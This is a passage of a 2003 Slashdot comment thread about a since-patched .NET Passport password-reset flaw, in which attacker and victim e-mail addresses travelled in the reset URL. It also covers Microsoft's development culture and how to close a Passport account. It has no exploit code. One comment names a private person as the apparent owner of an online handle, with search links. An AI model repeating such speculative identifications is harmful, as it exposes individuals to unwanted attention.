    Government of the people, by corporate executives, for corporate profits.
  51. Re:FUD by IDIIAMOTS · · Score: 2, Informative

    As of 6:30AM 5/8/2003 password reset ability works on passport.com.

    For non-Hotmail e-mail addresses there exists an option to receive change instructions by e-mail. The URL that's generated on those pages is similar to the one in the exploit, yet entering "attacker" address other than "victim" address doesn't result in an e-mail sent. If the two addresses in the URL match that on the account the e-mail appears to be sent.

    Looks like they indeed patched, although there should't be two addresses in the URL or even better, they shouldn't be passing them in URL at all.

  52. his name is probably by abhisarda · · Score: 4, Informative

    Robert Babcock.

    Do a search for Ashyukun on google.(www.nhmk.com/nes/ )

    also at

    (http://216.239.33.104/search?q=cache:q1XY1gcmAY AC :www.animemusicvideos.org/members/linkprobview.php %3Fdownload_id%3D1442+Robert+Babcock+ashyukun&hl=e n&ie=UTF-8).

    Consider yourself lucky you don't have to deal with hotmail. Hmm.. what do guys with names like Dick Cheney do?

  53. I have to go with the crowd here.... by AlphaSys · · Score: 5, Interesting

    I usually stand up for the Redmond boys if there's some bashing going on and not alot of balance to the issue. But this is just an incredibly stupid hole to have open. Why would you ever, ever, ever pass details in the URL string that the user himself need not (and should not be allowed to) supply? If it is because you are passing it among servers in some fancy-schmancy web service scheme, then at least have the decency to hide the exploitable name/value pair in an http header or something (but even this should not be necessary for what they are doing , even if my guess as to how their backend works is wayyy offbase). Somebody said it earlier in the discussion that it is because developers (using the term lightly) add features without thinking of how to do it right and how to do it securely and just pass any old thing in the URL string, and they were right on the mark.

    Some coders (again using the term loosely) at my organization used to do this absolutely all the time and I would bitch about how piss poor it was from a security angle (and regularly demonstrate how easy it was to circumvent the intended "security" mechanisms). Everybody laughed at me when I did... that is until one of our largest customers hired an outside firm to audit the "security" of the apps they were getting. It took the firm very little time to discover these nuggets, of course. It is interesting to note that they reported that the application security was among the poorest they had seen, but that the server configurations (my department) were among the tightest. The sad thing is the stupid customer basically thought the two canceled each other out, threw some extra money at redesigning the application to meet the standards it should have to begin with, rewarded our systems team which had done it right the first time with absolutely squat, and renewed the contract for another five years. Shows you how much the corporate world understands what's really going on.

    --
    Can I bum a sig? I left mine at the office.
    1. Re:I have to go with the crowd here.... by MS_is_the_best · · Score: 2, Interesting

      I read your post, because I thought to have the same opinion: Microsoft software can have obscure exploits, just like every other (also open source) program, but this is really WAY to stupid. How can something this important to your company be SO easily exploitable??.

      But I answer because your security idea of web apps is also very terrifying. Security through obscurity does not work! (passing variabless in headers is no security, and choosing weird names is bad coding practice and not more secure). Proper way is to put in the url what you need (?page_nr=3) and keep at the server the stuff that is only used after proper authentication. Perhaps at a very unknown website obscurity would delay the script kiddies a bit, but I think hackers are really to much motivated to hack Passport, to not try something other then IE (telnet passport.microsoft.com 80?).

      But I'm glad you are a system administrator who knows how to secure his/her machines, those people are also too rare ....

  54. Probably Microsoft code is difficult to maintain. by Futurepower(R) · · Score: 4, Interesting

    After months of trying to understand Microsoft's situation (Windows XP Shows the Direction Microsoft is Going), I came to the conclusion that the Microsoft management style leads to mountains of sloppy code that is difficult to maintain. That's the only theory that seems to fit. For example, in Internet Explorer browser alone, there have been for years more serious security bugs than Microsoft fixed. There are, at present 14 security vulnerabilities.

    Here is the recent record. The list of defects has been similar for years. Also, this is a record only of security defects, not all defects:
    • June 18, 2002: 18 vulnerabilities
    • August 8, 2002: 22 vulnerabilities
    • September 9, 2002: 19 vulnerabilities
    • November 19, 2002: 32 vulnerabilities
    • December 9, 2002: 19 vulnerabilities. (Microsoft fixed 15 on Nov. 20, but two new ones were found.)
    • May 8, 2003: 14 vulnerabilities
    This is a terrible record for a company that has $52.9 billion in the bank. (See "Total Current Assets" in the upper left hand corner, which is the money available within the next few months. It takes time to spend a billion dollars, so the next few months is equivalent to cash.)

    Obviously, Microsoft could fix the bugs if the company wanted to fix them. But the company apparently lacks the will to devote the resources necessary (IE still does not have tabbed browsing), and apparently also, it is not easy.
  55. How do I close a .Net Passport account? by bblackfrog · · Score: 2, Interesting

    This may be a naive question, but how do I go about closing a .Net Passport account? I want Microsoft to remove all of my personal information from their servers.

    There seems to be no way to do this online. A call to MS customer service resulted in an "I dunno, I can't do that." answer.

    btw, I'm not dumb enough to actively participate in Passport. I bought something online last summer from a small company, and after completing the purchase, I was shocked to see that Microsoft was handling the transaction with Passport. Damn it! Now they have my credit card info, shipping address, etc. Guess I should have read the fine print before I clicked Sumbit...

    Anyone successfully done this?

  56. Re:FUD by N3WBI3 · · Score: 2, Insightful

    So if I am an ISP and I have a hole in my service is unplugging the server a fix?? that is basically what they did. Now its the right thing to do (make sure nobody can chage **until** you have it fixed..

    --
  57. *Sigh* by White+Roses · · Score: 2, Funny
    The unfortunate thing is that I don't know anyone who is both (a) stupid enough to use Hotmail and (b) grotesquely stupid enough to store personal information in Passport.

    I need to make some stupid friends, it seems. Well, friends who are more stupid than the ones I have now, at any rate.

    But it's a good exploit, anyway. Kudos to the person who slaved for almost 15 minutes to figure it out (that's not a slander against the cracker in question, but against the pathetic sec- . . . secuuu- . . . jeez, I can't even call it what MS wants me to think it is).

    --
    Do not touch -Willie
  58. YES Re:How do I close a .Net Passport account? by redwoodtree · · Score: 2, Informative

    Yes, in fact if you log in and go to your profile, there's a link in the bottom left hand nav that says "CLOSE .NET PASSPORT ACCOUNT"

    You click on that, agree to their terms and close your account right there in three clicks.

    Goodluck

  59. Re:FUD by ymgve · · Score: 2

    Does the word 'damage control' mean anything to you?

    404ing the page took them 2 minutes, and now all users are relatively secure again. If Microsoft had done nothing while they fixed the bug, several million hotmail accounts would still be vulnerable, and would probably stay that way for atleast a few hours.

  60. MS problem is their own culture and codebase by Genus+Marmota · · Score: 5, Interesting
    I don't mean to bash MS (there are so many on /. that do it so well) but realistically these kinds of security problems are very unlikely to stop happening. If you've worked there as a dev, even if only for a few months, you probably have a good idea why this is. It's not because people are uncaring or incompetent. The big obstacles are 1) their own history and culture and 2) the enormity of their codebase. Here's why I think so.

    If you've made any study of it at all you know that effective security results from a process that starts before the software is even written. There is no protocol that will save you from logic errors (like the latest Passport hole). To do this reqires a good understanding by the devs of security and their adherence to design principles and coding practices. To do that you need a software development methodology that enforces the consistent application of those priciples and practices. Therein lies the problem.

    In my little corner of MS (though by all accounts it was typical of the company as a whole) what was prized above all was meeting requirements and deadlines. Virtually no energy was put into the development environment (hence the hour I spent every morning just downloading the nightly build, the insane .bat scripts, constantly fixing my own NT install as a $55/hr contractor). Nobody got "c-hours" for making life easier. More importantly, there was little value placed on design, good technique. Lip service was paid in meetings and reviews, of course, and superficial style details received obsessive scrutiny. Code reviews often bogged down on correct hungarian notation but a unit test consisting of "return true" was perfectly ok. The "heros" were people with big brain muscles who spent nights and weekends hammering out code to meet the latest deadline.

    The result of all this was a coding culture that I called the kingdom of cut-and-paste. I was actually encouraged to write routines by starting with someone else's routine to do something unrelated and edit it to do my task. A colleague would stand over my shoulder browsing the codebase looking for something convenient to steal. It was a shock to realize how little code people actually wrote. This is one of the things that I hated about working there, that I spent so much of my time fscking with the various APIs, incomprehensible include file heirarchies and so little time writing C++.

    Well, in my Intro to Fortran class in '77 the prof explained why massive code duplication is a bad idea, and the results are visible in every MS product. You can't fix a bug in one place, you have to fix it every place it got copied to, and you don't know where those are. The codebase is now on the order of 100'sM lines or better? Probably not even MS has a good handle on this, because they can't know for sure how much duplication (with tiny variations) there is (clue: lots).

    Once a company grows to a considerable size it's really hard to change the culture. I've seen this at several startups. MS is like a battleship or an aircraft carrier. High-tech and deadly but turning that boat around is really hard and simply may not happen in a short distance. Expecting them to change their performance WRT security in a few months (or year) is kind of like expecting the old Soviet apparatchiks to start respecting civil liberties and human dignity because the Central Comittee sends out a memo. Good luck. It's a city unto itself in Redmond, its own little world. And even if you did, what the hell are you going to do about the millions of lines of (largely incomprehensible) code in the installed base? The millions of systems in the wild that are unpatched and unmaintained?

    I see many of the same disasters being recapitulated in .NET. They may talk security and I'm sure they're trying hard but I expect that their long term strategies are going to rely more on legislation than the (probably impossible) task of bringing their products t

  61. culture of security by aphor · · Score: 2, Interesting

    A: You're way off about changing peoples' approach. The sad fact is people like that are in pain-avoidance mode. Give them pain. Give them a productive way to avoid the pain. There must be code review. One guy does a little coding, another guy has to sign off on it. A third has to sign off that it has been tested (whether or not any testing actually happens is not important). All three get burned if anything bad happens: after-hours or weekend work to fix it NOW? The rate of code churn goes down, and the quality goes up. Grumbling goes up, but it sounds like a personal problem to me... :)

    B: You're dead-on-target about doing other people's work. You can't have individual effort and collective accountability. You have to have collective work and collective accountability. Oh, and if you're smarter than others: the sharpest knife always gets used the most. Adjust to it. One day you will be enlightened.

    C: You are dead-on-target about the financial sector :). That does not mean it won't work in hospitals or law offices though. It just means *somebody* has to fulfill the role of irate customer when the slackers need it.

    Culture is not something you create at the water cooler or in seminars. It is dictated by the unique combination of supply and demand wherever you are. You can change the supply (of people or other resources), or the demand. The boss/team-leader mediates customer demand and needs to have some real power over the programmers in the same way that customers have real power to affect the company's bottom line. If you lack accountability, that isn't a software development problem. You're just going to get shoddy results, software security, housekeeping, everything included.

    The moral of the story: accountability is security. So, if you want a culture of security, improve your accountability! It has positive potential for Maslow's "self-actualizer" types too.

    --
    --- Nothing clever here: move along now...